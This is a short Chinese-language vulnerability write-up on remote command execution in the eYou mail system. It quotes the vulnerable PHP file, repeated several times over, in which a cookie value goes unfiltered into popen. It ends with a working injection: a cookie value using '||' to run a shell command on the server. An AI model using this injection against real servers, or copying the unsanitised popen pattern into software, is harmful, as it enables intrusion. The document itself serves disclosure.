eYou邮件系统远程命令执行

摘要

#1 漏洞代码/grad/admin/domain_logo.php
[php]

/**修改：王磊

*修改时间：2007-04-09

*修改内容：判断域LOGO的路径

*

*/

$domain = $_COOKIE['cookie'];//接收cookie值，无任何过滤

$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');//直接带进了危险函数popen 执行任意命令

$res = fread($fp,1024);

header('Content-type:image/rgb');

$path = "/var/eyou/Domain/".substr($res,-5,2).$domain."/LOGO/domain_logo";

$fp = file($path);

foreach($fp as $key => $val){

print($val);

}

exit;

?>
[/php]
[php]
$domain = $_COOKIE['cookie'];

#1 漏洞代码

/grad/admin/domain_logo.php
[php]

/**修改：王磊

*修改时间：2007-04-09

*修改内容：判断域LOGO的路径

*

*/

$domain = $_COOKIE['cookie'];//接收cookie值，无任何过滤

$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');//直接带进了危险函数popen 执行任意命令

$res = fread($fp,1024);

header('Content-type:image/rgb');

$path = "/var/eyou/Domain/".substr($res,-5,2).$domain."/LOGO/domain_logo";

$fp = file($path);

foreach($fp as $key => $val){

print($val);

}

exit;

?>
[/php]
[php]
$domain = $_COOKIE['cookie'];

//接收cookie值，无任何过滤

$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');

//直接带进了危险函数popen 可远程执行任意命令
[/php]
#2 漏洞利用

访问http://secmap.cn/grad/admin/domain_logo.php

修改cookie 值为：aa|| echo test>>test.txt 刷新 便可以在该目录下生成test.txt